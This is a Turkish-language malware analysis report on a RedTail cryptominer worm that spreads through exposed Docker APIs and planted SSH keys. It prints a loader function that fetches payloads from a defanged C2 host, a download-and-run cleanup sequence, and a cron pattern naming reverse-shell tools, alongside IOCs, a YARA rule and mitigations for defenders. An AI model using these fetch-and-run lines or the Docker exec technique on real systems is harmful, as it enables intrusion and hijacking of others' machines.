Bu sayfa bir çeviridir. Esas alınan metin İngilizce sürümdür. İngilizcesini okuyun
malware · cryptomining · redtail · docker · linux · honeypot · worm
Bir RedTail Kampanyasının İç Yüzü: Açıkta Olan Docker API'leri Üzerinden Kendi Kendine Yayılma
Kinryū Labs bal küpleri, RedTail kripto madencisinin kimlik doğrulaması bulunmayan Docker Engine API'leri ve bırakılan SSH anahtarları üzerinden yayıldığını yakaladı. Bu inceleme; yükleyici, rakip temizleme betiği, madenci ve canlı göstergelerle birlikte güncel ve eksiksiz biçimde yakalanmış bir örneği belgeliyor.
Yazan Davis Zheng·
TLP:CLEAR. Kamuya açık yayım için onaylanmıştır. Kinryū Labs bal küpü sensör ağı tarafından yakalanmıştır. Aşağıdaki göstergeler etkisizleştirilmiş biçimde verilmiştir.
Yönetici özeti
- 2375açıkta olan Docker API, giriş yolu
- 4hedeflenen CPU mimarisi
- ~21saktörün içeri girme süresinin tamamı
- solucan gibi yayılabilirmadenciye gömülü SSH istemcisi
2026 Haziran’ın başı ile ortası arasında bal küpü ağımız, TCP/2375 üzerinde internete açık Docker Engine API’leri aracılığıyla yayılan ve 2023’ün sonundan bu yana görülen XMRig tabanlı bir Monero madencisi olan RedTail’i bırakan bir solucan yakaladı. Tehdit aktörü açık Docker API üzerinden çalışan konteynerleri listeliyor, her birinin içinde komut çalıştırıyor, kalıcılık ve yatay hareket için bir SSH özel anahtarı bırakıyor, ardından çok mimarili bir yükleyici indiriyor. Yükleyici, yayılma için kendi SSH istemcisini ve yeni hedefler bulmak için bir libpcap dinleyicisi taşıyan bir madenci kuruyor.
Yük tartışmasız biçimde RedTail. RedTail en çok web uygulaması istismarlarıyla (PAN-OS, Ivanti, Log4Shell, PHP-CGI, TP-Link) geldiğiyle bilinir ve açıkta olan Docker API’lerini kullanması da daha önce raporlanmıştır. Bu inceleme, söz konusu Docker API dağıtımının güncel ve eksiksiz biçimde yakalanmış bir örneğini ekliyor: canlı C2 ve göstergeler, sistemin kendi kendini çoğaltmasını sağlayan SSH anahtarı bırakma adımı ve önceki incelemelerin işaret ettiği ama ele geçiremediği rakip temizleme betiği.
Madenci şifreli bir çalışma zamanı yapılandırması taşıyor ve gömülü bir cüzdan içermiyor; bu nedenle örnekten bir Monero adresi çıkarmamız mümkün değil. Adresin elde edilmesi, ağ yakalamasıyla birlikte canlı bir patlatma gerektiriyor.
- Yük RedTail'dir (yüksek güven).
libredtail evbuffer_tlsdizgesi,.redtailkalıntısı, yükleyicidekiredtailyedek değeri ve şifreli yapılandırmalı / cüzdansız derleme, ailenin 2024 sonrası sürümleriyle örtüşüyor. - Kampanya solucan gibi yayılabilir niteliktedir (yüksek güven). Docker API araçları, bırakılan anahtar ve madencinin yerleşik SSH istemcisi, yeni bulaşmış bir sistemin bir sonraki kurbanı kendi başına bulması için gereken her şeyi oluşturuyor.
- Operatörün motivasyonu maddi kazançtır (orta düzeyde güven). Kimlik bilgisi hırsızlığı ve ağ dinleme, ayrı bir veri hırsızlığı hedefinden çok yayılmaya hizmet ediyor gibi görünüyor.
- Docker API vektörü RedTail için daha önce raporlandı ve hâlâ iyi işliyor. TCP/2375 üzerinde açıkta olan tek bir soket, aktöre sistemdeki her konteynerin içinde root olarak kod yürütme imkânı veriyor.
Saldırı zinciri
[0] Reconnaissance Internet scan for exposed Docker API :2375
│
[1] Initial Access Unauthenticated Docker API → enumerate containers
│ (T1190 Exploit Public-Facing Application)
│
[2] Execution docker exec into every running container
│ (T1609 Container Administration Command)
│
[3] Persistence / Drop ed25519 key "dlr@sftp" into container ~/.ssh
Lateral prep (T1098.004 SSH Authorized Keys / T1570 Lateral Tool Transfer)
│
[4] Ingress (Stage 2) Pull loader: scp dlr@217.60.195[.]113:sh (primary)
│ hxxps://14.46.136[.]77/sh (fallback)
│ (T1105 Ingress Tool Transfer)
│
[5] Defense Evasion Loader: find noexec mounts → avoid them; hidden ".<random>"
│ filename; run/discard "clean" competitor-removal
│
[6] Ingress (Stage 3) Loader pulls arch ELF (x86_64/i686/aarch64/arm7) from C2
│
[7] Execution memfd_create → fileless launch of RedTail miner
│ (T1620 Reflective Code Loading)
│
[8] Impact XMRig Monero mining (T1496 Resource Hijacking)
+ Credential Access libpcap sniffing + ssh-agent/key theft (T1040 / T1552.004)
+ Lateral Movement Embedded SSH client spreads to discovered hosts (T1021.004)
Aşama 1: Docker API üzerinden ilk erişim
Tehdit aktörü, kimlik doğrulaması bulunmayan REST API’yi TCP/2375 üzerinde açıkta bırakan Docker Engine örneklerini hedef alıyor. Aktörün tüm işlem dizisi yaklaşık 21 saniye sürdü:
- Motorun parmak izini almak ve konteynerleri listelemek için
GET /versionveGET /containers/json. - Çalışan her konteynere karşı
POST /containers/{id}/execve ardındanPOST /exec/{id}/start. - Saldırganın SSH anahtarını yazan ve yükleyiciyi indiren, konteyner içinde çalışan bir kabuk yükü.
Bunu tek seferlik bir madenciden solucana dönüştüren adım, bu son adım. Bulaşan ve kendi Docker API’sini de açıkta bırakan bir sistem, aynı listele-ve-çalıştır yordamını bir sonraki kurban grubuna karşı yürütecek.
Bırakılan SSH anahtarı (kalıcılık ve yatay hareket)
| Özellik | Değer |
|---|---|
| Tür | OpenSSH ed25519 özel anahtarı |
| Yorum | dlr@sftp |
| Açık anahtar SHA256 parmak izi | SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg |
| Çekme kaynağı (SCP kanalı) | dlr@217.60.195[.]113 |
Özel anahtarı yayımlamıyoruz. Aramak için yukarıdaki parmak izini kullanın: tüm envanterinizde
authorized_keysve~/.sshdizinlerini kontrol edin.
Aşama 2: /sh yükleyicisi
SHA256: 03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf
MD5: 0df4fe0f1e3e8b0941f0d1442f132700
Tür: POSIX kabuk betiği
Küçük, taşınabilir ve dikkatli yazılmış bir yükleyici.
Rastgele gizli dosya adı. get_random_string(), sırasıyla /dev/urandom, openssl ve $RANDOM deneyerek 4 ile 35 karakter arasında alfanümerik bir ad üretiyor; bunların tümü başarısız olursa redtail dizgesine geri dönüyor. Bu geri dönüş değeri, aileyi ele veren kullanışlı bir işaret. Madenci, düz bir ls çıktısında görünmemesi için başına nokta konarak .<random> adıyla yerleşiyor. VirusTotal bu örneği bu adlardan biriyle, .mn6VTucEsFZY1PdSC2QAq olarak barındırıyor.
İndirme yardımcısı. C2 kendinden imzalı olduğu için dlr() TLS doğrulamasını kapatıyor ve wget başarısız olursa curl’e geçiyor:
dlr() { rm -rf $1; wget --no-check-certificate -q hxxps://14.46.136[.]77/$1 \
|| curl -skO hxxps://14.46.136[.]77/$1 ; }
noexec’e duyarlı hazırlık alanı. Yükleyici /proc/mounts dosyasını okuyor, noexec ile bağlanmış her noktayı eliyor ve hem yazabileceği hem de çalıştırabileceği bir yer bulmak için find / -user $(whoami) -perm -u=rwx çalıştırıyor. Her adayı kullanmadan önce 2 MB’lık bir dd veya truncate ile yazma testinden geçiriyor; bu, çoğu yükleyicinin göze aldığından fazla bir zahmet: alışılmış yaklaşım /tmp dizinine yazıp en iyisini ummaktır.
Rakip temizliği. clean betiğini indirip çalıştırıyor (dlr clean; chmod +x clean; sh clean; rm -rf clean), ardından siliyor. O betiği de ele geçirdik ve aşağıda ayrıntılı olarak inceliyoruz. Rakiplerin kalıcılık ve hazırlık alanlarını hedef alıyor, çalışan süreçlere dokunmuyor.
Ortalığı toplama. Yenisini kurmadan önce .redtail ile önceki .<random> dosyasını siliyor.
Mimari seçimi. Bir uname -mp switch yapısı derlemeyi seçiyor:
| ARCH eşleşmesi | İndirilen |
|---|---|
x86_64 / amd64 | x86_64 |
i[3456]86 | i686 |
armv8 / aarch64 | aarch64 |
armv7 | arm7 |
| bilinmeyen | dördünü de kaba kuvvetle indirir, her birini çalıştırır |
Çalıştırma. ./.<random> $1; yükleyicinin özgün $1 değeri aktarılıyor ve RedTail bunu kampanya veya vektör etiketi olarak değerlendiriyor.
clean rakip temizleme betiği
SHA256: d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e
MD5: 397ff5e54194072e6d8a44a0d8cc1b27
Tür: Bash betiği (795 bayt)
clean betiğini bal küplerine gelen sonraki bir isabette yakaladık. Tek işi, RedTail makineyi tek başına kullanabilsin diye diğer kötücül yazılımları sistemden temizlemek:
-
Cron temizliği. Her kullanıcı crontab’ı (
/var/spool/cron/crontabs/*), sistem crontab’ı (/etc/crontab,/etc/crontabs), drop-in dizini (/etc/cron.{hourly,daily,weekly,monthly,d}) ve/etc/anacrontabiçinchattr -iaile değiştirilemezlik bitini kaldırıyor (rakip kötücül yazılımlar kendi cron satırlarını korumak için bunu ayarlıyor) ve ardından yeniden bulaşma kalıbıyla eşleşen her satırı siliyor:wget | curl | /dev/tcp | /tmp | \.sh | nc | bash -i | sh -i | base64 -dBu, meşru cron girdilerine dokunmadan diğer grupların indirme mekanizmalarını ve ters kabuklarını söküp atıyor.
-
Adı belirli bir rakibi devre dışı bırakma.
c3pool_minersystemd hizmetini devre dışı bırakıp durduruyor; bu, doğrudan c3pool madencisine yönelik bir hamle. -
Hazırlık alanını silme.
/tmp,/var/tmpve/dev/shmdizinlerinirm -rfile boşaltıyor; böylece rakip yükler ve ortak kullandıkları geçici alan temizleniyor.
Çalışan süreçlerin atlanması bir tercih. Toplu süreç sonlandırma CPU’yu hemen serbest bırakır ama izlenen bir sistemde tam olarak alarm üreten türden bir olaydır; cron satırlarını sökmek ve hazırlık dizinlerini boşaltmak ise rakibin yeniden bulaşma mekanizmasını ortadan kaldırır, böylece tahliye, aksi halde onu geri alacak olan yeniden başlatmadan sonra da geçerli kalır.
Aşama 3: RedTail madencisi (x86_64)
SHA256: 59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5
MD5: aaa5098c9caafccf15362b017825c64b
Boyut: 1,880,264 bayt (1.79 MB)
Biçim: ELF 64-bit LSB EXEC (statik bağlı, non-PIE), x86-64, giriş noktası 0xaa9e18
Paketleyici: UPX 5.02 ($Id: UPX 5.02 Copyright (C) 1996-2025 the UPX Team)
VirusTotal: 36/62 kötücül, topluluk puanı −60, ilk görülme ~2026-06-05
Tehdit etiketleri: trojan.usblem26/abminer; aileler usblem26 / abminer / gen3
Paketleme ve analiz karşıtı önlemler
- Başlığı bozulmamış UPX 5.02.
upx -dörneği sorunsuz biçimde yaklaşık 5 MB’lık, statik bağlı bir ELF’e açıyor. - Dosyasız yürütme. VirusTotal’ın kod içgörüleri, yükün anonim bir bellek dosya tanıtıcısından doğrudan çalıştırılması için
memfd_create(sistem çağrısı0x13f) kullanıldığını, buna/proc/self/exeüzerinden yeniden yürütmenin ve/dev/shmhazırlık alanının eşlik ettiğini gösteriyor. Diske hiçbir şey yazılmadığı için disk tabanlı antivirüs hiç devreye giremiyor. - Süreç adı taklidi (
sets-process-name) sayesinde normal süreçler arasına karışıyor. - Hata ayıklayıcı atlatma (
detect-debug-environment). Kamuya açık RedTail incelemeleri,ptraceile kendi kendini hata ayıklamayı ve ikili dosyanın GDB’yi etkin biçimde sonlandırdığını anlatıyor. - Uç nokta antivirüsü hakkında bir not. Microsoft Defender paketlenmiş ELF’i
Trojan:Linux/Multiverze!rfnolarak işaretliyor ve diskten okunmasını engelliyor; bu nedenle statik ön inceleme yalıtılmış bir makinede veya bellekte yapılmak zorunda.
Doğrulanan bileşenler (paketi açılmış .rodata dizgelerinden)
XMRig madencilik çekirdeği
randomx/0 cryptonight-monerov7 cryptonight-monerov8
XMRIG_VERSION donate-level donate-over-proxy pool address
stratum+tcp:// stratum+ssl://
/var/build/xmrig/scripts/build/ (hwloc-2.12.2, abseil-cpp)
libredtail, aileyi tanımlayan ağ yığını
libredtail evbuffer_tls
Connection keepalive User-Agent
Özelleştirilmiş bir libevent ve TLS’li HTTP istemcisi. libredtail evbuffer_tls dizgesi, RedTail’i standart bir XMRig derlemesinden ayıran unsur.
Gömülü SSH istemcisi (yatay hareket ve kimlik bilgisi hırsızlığı)
ssh-userauth ssh-ed25519 sk-ssh-ed25519@openssh.com
ssh-rsa-cert-v01@openssh.com ssh-ed25519-cert-v01@openssh.com
"Unable to ask for ssh-userauth service"
"Failed to get response to ssh-userauth request"
Madenci eksiksiz bir SSH istemcisi taşıyor. dlr@sftp anahtarının bırakılmasının ve yayılmanın arkasındaki motor bu. Kimlik bilgisi hırsızlığını ve SSH ile yayılmayı madenci ikili dosyası kendisi yürütüyor. Bunların hiçbiri dropper’da yer almıyor.
Gömülü libpcap (ağ dinleme)
"cooked-mode frame doesn't have room for sll header"
"Kernel doesn't support memory-mapped capture ... CONFIG_PACKET_MMAP"
"Packet injection is not supported on USB devices"
Sistem üzerinde paket yakalama; yerel ağdaki sistemlerin ve kimlik bilgilerinin keşfiyle uyumlu.
Kodlama tabloları. Hem standart hem URL güvenli Base64 alfabeleri görünüyor (...+/ ve ...-_); yapılandırma çözme yordamı bunları kullanıyor.
Yapılandırma ve atıf boşluğu
Paketi açılmış ikili dosyada IP adreslerini, URL’leri, stratum, pool ve Monero adres kalıplarını ayrıntılı biçimde aradık. İçindeki tek havuzlar, her XMRig derlemesinde bulunan ve operatörün denetiminde olmayan XMRig’in yerleşik geliştirici bağış havuzları (donate.ssl.xmrig.com, donate.v2.xmrig.com). Açık metin hâlinde saldırgana ait bir havuz, vekil sunucu veya cüzdan yok.
Bu bilinçli bir tercih ve RedTail’in 2024’ten bu yana geldiği noktayla örtüşüyor. Madencilik yapılandırması şifreli ve yalnızca çalışma anında bellekte çözülüyor; son derlemeler hiç cüzdan taşımıyor, bunun yerine özel bir havuzu veya havuz vekilini işaret ediyor. Dolayısıyla:
- Bu örnekten bir Monero cüzdanı çıkarmamız mümkün değil.
- Havuz vekili ancak ağ tuzağı eşliğinde canlı bir patlatmayla ortaya çıkar (bkz. metodoloji).
Atıf
Bu, .redtail madencisi olarak da bilinen RedTail; ilk kez 2023’ün sonu ile 2024’ün başında ele alınan, XMRig türevi bir Monero madencisi. Örtüşen noktalar:
- Yalnızca bu aileye özgü olan
libredtail evbuffer_tlsdizgesi. .redtailkalıntısı ve yükleyicidekiredtailyedek değeri.- Şifreli yapılandırmalı / cüzdansız derleme, çok mimarili yükleyici,
cleanrakip betiği ve SSH kimlik bilgisi hırsızlığı; bunların tümü bilinen RedTail özellikleri.
Karşılaştırma için, aile adına kayıtlara geçmiş dağıtım vektörleri şunlar: CVE-2024-3400 (PAN-OS), CVE-2023-46805 ve CVE-2024-21887 (Ivanti), CVE-2021-44228 (Log4Shell), CVE-2024-4577 (PHP-CGI) ve CVE-2023-1389 (TP-Link). VirusTotal ayrıca bu örneği CVE-2021-41773 (Apache 2.4.49/2.4.50 dizin geçişinden RCE’ye) ve CVE-2015-2808 (RC4, “Bar Mitzvah”) ile de etiketliyor.
RedTail’in açıkta olan Docker API’lerini kullanması daha önce raporlandı, dolayısıyla vektörün kendisi yeni değil. O önceki raporlamada zayıf kalan kısım zincirin ortasıydı ve bu yakalama tam oraya oturuyor: çıkarımla değil doğrudan ele geçirilerek elde edilen clean betiği, toplama anında canlı olan C2 ve yük özetleri ve döngüyü Aşama 1’e geri bağlayan, bırakılmış dlr@sftp anahtarı.
Görünüm
Cryptojacking grupları, içeri girme yöntemlerini yükü değiştirdiklerinden çok daha sık değiştiriyor ve RedTail’in modüler yükleyicisi bir giriş yöntemini bir başkasıyla değiştirmeyi kolaylaştırıyor. Açık bir Docker API, yapılması ucuz bir değişiklik. Bakımı gereken bir istismar kodu ve yarışılacak bir yama döngüsü yok; sağladığı erişim makinedeki her konteynerin içinde root düzeyinde ve internete açık 2375 arzı tükenmedi. RedTail daha önce de buradaydı.
Operatörün Docker API vektörünü web istismarlarının yerine koymak yerine onlarla birlikte sürdürmesinin muhtemel olduğunu değerlendiriyoruz; bu da erişilebilir sistem sayısını artırmaktan başka bir sonuç doğurmuyor. Konteyner çalıştırıyorsanız, açıkta olan bir Docker API’yi halka açık internette duruyormuş gibi ele alın, çünkü fiilen öyle.
İhlal göstergeleri
Ağ
| Gösterge | Bağlam |
|---|---|
14.46.136[.]77 | C2 / yük sunucusu (HTTPS, kendinden imzalı). /sh, /clean, /x86_64, /i686, /aarch64, /arm7 sunuyor. Bulut çıkışını ASN’ye göre filtreliyor. |
hxxps://14.46.136[.]77/sh | Aşama 2 yükleyici URL’si |
hxxps://14.46.136[.]77/clean | Rakip temizleme betiği (cron / hazırlık alanı temizliği) |
217.60.195[.]113 | SCP anahtarı / yük kaynağı (dlr@217.60.195[.]113) |
Dosyalar (SHA256 / MD5)
| Dosya | SHA256 | MD5 |
|---|---|---|
sh (yükleyici) | 03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf | 0df4fe0f1e3e8b0941f0d1442f132700 |
clean (rakip temizliği) | d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e | 397ff5e54194072e6d8a44a0d8cc1b27 |
x86_64 (madenci) | 59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5 | aaa5098c9caafccf15362b017825c64b |
Sistem üzerindeki kalıntılar
| Gösterge | Bağlam |
|---|---|
.redtail | Madenci kalıntısı / önceki bulaşma işareti |
.<random alnum> örn. .mn6VTucEsFZY1PdSC2QAq | Gizli madenci dosya adı (başta nokta + rastgele) |
SSH anahtarı yorumu dlr@sftp | Bırakılan anahtar |
Açık anahtar parmak izi SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg | Bırakılan anahtarın parmak izi; authorized_keys içinde arayın |
/dev/shm, /var/tmp, /tmp veya kullanıcının yazabildiği herhangi bir rwx dizininde hazırlanan dosyalar | Hazırlık alanı konumları |
Davranışsal
memfd_create(sistem çağrısı0x13f) ile anonim bir dosya tanıtıcısından ELF yürütülmesi./proc/mountsdosyasını okuduktan sonrafind / -perm -u=rwxçalıştıran bir süreç (noexec’e duyarlı hazırlık alanı).- Süreç adı taklidi;
ptracetabanlı hata ayıklayıcı atlatma. - Standart olmayan bir sunucuya giden
stratum+tcp:///stratum+ssl://trafiği. systemctl disable c3pool_minervesystemctl stop c3pool_miner(rakibin tahliyesi).- crontab yollarına karşı
chattr -iaçalıştırılması ve hemen ardından cron içindenwget/curl/ ters kabuk satırlarının toplu silinmesi. /tmp/*,/var/tmp/*ve/dev/shm/*üzerinderm -rf(rakibin hazırlık alanının silinmesi).
Tespit
Sistem tespiti (süreç / EDR mantığı)
Sırasıyla şunları yapan bir süreç için alarm üretin:
/proc/mountsdosyasını okur, ardındanfind / ... -perm -u=rwx ...çalıştırır ve- herkesin yazabildiği bir dizine başında nokta bulunan, rastgele adlı bir dosya yazar ve
memfd_createçağırır, ardından elde edilen dosya tanıtıcısından yürütme yapar.
Bunların her biri tek başına zayıf. Üçü birlikte bu yükleyici için güçlü bir sinyal.
Aday YARA kuralı (paketi açılmış ikili dosya)
rule RedTail_Miner_libredtail
{
meta:
description = "RedTail XMRig miner: libredtail networking + embedded SSH/pcap"
reference = "Kinryu Labs CTI 2026-06-12"
hash = "59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5"
strings:
$rt = "libredtail evbuffer_tls" ascii
$xm1 = "randomx/0" ascii
$xm2 = "stratum+ssl://" ascii
$ssh = "ssh-ed25519-cert-v01@openssh.com" ascii
condition:
uint32(0) == 0x464c457f and $rt and 1 of ($xm*) and $ssh
}
Bu kural, UPX paketi açılmış ikili dosyayla eşleşir. Paketlenmiş örnek için UPX imzası, dosya boyutu (~1.79 MB) ve yukarıdaki VirusTotal özetleri üzerinden ilerleyin.
Ağ tespiti
14.46.136[.]77ve217.60.195[.]113adreslerine giden trafiği engelleyin ve alarm üretin.- İzin listesinde olmayan herhangi bir hedefe yönelik
stratum+tcp/stratum+ssltrafiği için alarm üretin. - Tek harfli veya mimari adı taşıyan yollara yapılan HTTP(S) GET istekleri için alarm üretin (
/sh,/x86_64,/aarch64,/arm7).
Azaltıcı önlemler
- Docker API’yi (2375/2376) güvenilmeyen ağlara açmayın. localhost’a veya korunan bir sokete bağlayın ve TLS istemci sertifikasıyla kimlik doğrulamasını zorunlu kılın. Tek başına bu denetim ilk erişim adımını tümüyle kırar.
- Tüm envanterde
~/.ssh/authorized_keysdosyalarınıdlr@sftpanahtarı ve parmak izi için denetleyin. - Stratum trafiğini ve yukarıdaki C2 IP adreslerini çıkış filtrelemesine tabi tutun ve izleyin.
- Mümkün olan yerlerde
/tmp,/var/tmpve/dev/shmdizinlerininoexecile bağlayın. Bu çıtayı yükseltir, ancak bu yükleyici noexec’e duyarlı ve yazılabilir, çalıştırılabilir başka bir dizin aramaya koyulur. - Konteynerleri sıkılaştırın: ihtiyacınız olmayan yetenekleri kaldırın, salt okunur kök dosya sistemleri kullanın ve en az yetki ilkesiyle çalıştırın; böylece içeriye yapılan bir
exec, saldırgana kullanılabilir bir yürütme ortamı sunmasın.
MITRE ATT&CK eşlemesi
| Taktik | Teknik |
|---|---|
| Initial Access | T1190 Exploit Public-Facing Application (Docker API) |
| Execution | T1609 Container Administration Command; T1059.004 Unix Shell |
| Persistence | T1098.004 SSH Authorized Keys |
| Defense Evasion | T1027.002 Software Packing (UPX); T1620 Reflective / Memory Code Loading (memfd_create); T1564.001 Hidden Files; T1036.004 Masquerade Task or Process Name; T1622 Debugger Evasion; T1070.004 File Deletion |
| Credential Access | T1552.004 Private Keys; T1040 Network Sniffing |
| Discovery | T1046 Network Service Scanning; T1082 System Information Discovery; T1057 Process Discovery; T1018 Remote System Discovery |
| Lateral Movement | T1021.004 Remote Services: SSH; T1570 Lateral Tool Transfer |
| Command and Control | T1071.001 Web Protocols; T1573 Encrypted Channel; T1105 Ingress Tool Transfer |
| Impact | T1496 Resource Hijacking (kripto madenciliği) |
Metodoloji ve analist notları
- Aşama 2 ve Aşama 3’ü canlı C2’den HTTPS üzerinden çektik.
14.46.136[.]77, büyük bulut sağlayıcılarının adres alanı için zaman aşımına düşüyor ama ev kullanıcısı aralıklarına içerik sunuyor; bu, otomatik bulut kum havuzlarını işlevsiz bırakan bir ASN veya coğrafi çıkış filtresi. - Paketlenmiş ELF, Microsoft Defender’ı tetikliyor (
Trojan:Linux/Multiverze!rfn) ve korumalı bir Windows sisteminde diskten okunması bile mümkün olmuyor; bu nedenle ilk ön inceleme bellekte yapıldı, arşiv bir Python süreci içinde açıldı ve ham ELF hiçbir zaman diske yazılmadı. - Paket açma işlemi, yalıtılmış bir FLARE-VM içinde
upx -dile yapıldı. Paketi açılmış ikili dosyayı çalıştırmadan, dizgeler ve yapı üzerinden statik olarak analiz ettik. - Madenciyi çalıştırmadık; bu nedenle çalışma anında şifresi çözülen havuz vekili ve Monero yapılandırması bu raporda yer almıyor.
- Saldırganın özel anahtarını yakaladığımız veriden elde ettik ve yayımlamıyoruz. Göstergelerde yalnızca açık anahtar parmak izi (yukarıda) yer alıyor; savunmacıların
authorized_keysiçinde bırakılmışdlr@sftpanahtarını aramak için ihtiyaç duyduğu şey de bu.
Önerilen sonraki adım (havuz vekili göstergesini elde etmek için)
Havuz vekilini elde etmek için, paketi açılmış ikili dosyayı yalıtılmış bir Linux makinesinde (REMnux uygun) şunlarla birlikte patlatın:
- bağlantıyı ortaya çıkarmak için bir ağ tuzağı (INetSim veya
fakednsile birlikte her şeyi yakalayan bir TCP dinleyicisi), - stratum CONNECT ve oturum açma işlemini yakalamak için
tcpdump -i any -w redtail.pcapve - madencinin ilk
connect()çağrısından hemen önce şifresini çözdüğü açık metin yapılandırmayı almak içinstrace -f; bu yapılandırma, TLS onu hat üzerinde gizlese bile genellikle okunabilir durumda oluyor.
Bu kampanya için hâlâ eksik olan son gösterge, söz konusu sunucu ve port.
Örnekler
Örnekler (yükleyici, clean betiği ve paketlenmiş madenci) talep üzerine diğer araştırmacılara ve savunmacılara sunulabilir. Kim olduğunuzu ve bunlara ne için ihtiyaç duyduğunuzu kısaca belirten bir not ile contact@kinryu.sh adresine e-posta gönderin.